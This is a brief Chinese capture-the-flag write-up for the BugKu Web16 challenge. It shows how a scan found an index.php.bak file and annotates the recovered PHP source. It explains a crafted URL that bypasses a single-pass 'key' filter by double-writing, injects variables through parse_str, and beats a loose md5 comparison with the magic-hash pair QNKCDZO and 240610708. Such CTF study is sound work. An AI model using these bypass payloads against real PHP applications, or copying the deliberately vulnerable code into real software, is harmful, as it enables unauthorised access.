BugKu Web16 WP记录 备份是个好习惯
1.首先使用御剑扫描发现index.php.bak备份文件
2.代码审计见注释
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
//构造语句:http://114.67.246.176:11212/?kekeyy1=QNKCDZO&kekeyy2=240610708
include_once "flag.php";//包含文件flag.php
ini_set("display_errors", 0);//配置选项
$str = strstr($_SERVER['REQUEST_URI'], '?');
//$_SERVER['REQUEST_URI']获取url除去host部分如www.baidu.com/?a=index.php变成?a=index.php
//strstr查找字符串?如果有输出?和后面部分
$str = substr($str,1);
//从第一个位置截取字符串str
$str = str_replace('key','',$str);
//查找str中的key并把key置空,由于只执行一遍因此可以双写绕过
parse_str($str);
//将变量实例化如key1=1,key2=2中key1和key2的值给下面的变量
echo md5($key1);//输出key1的MD5
echo md5($key2);//输出key2的MD5
if(md5($key1) == md5($key2) && $key1 !== $key2){//这就需要找两个md5相同但值不同的字符串如:QNKCDZO和240610708
echo $flag."取得flag";
}
?>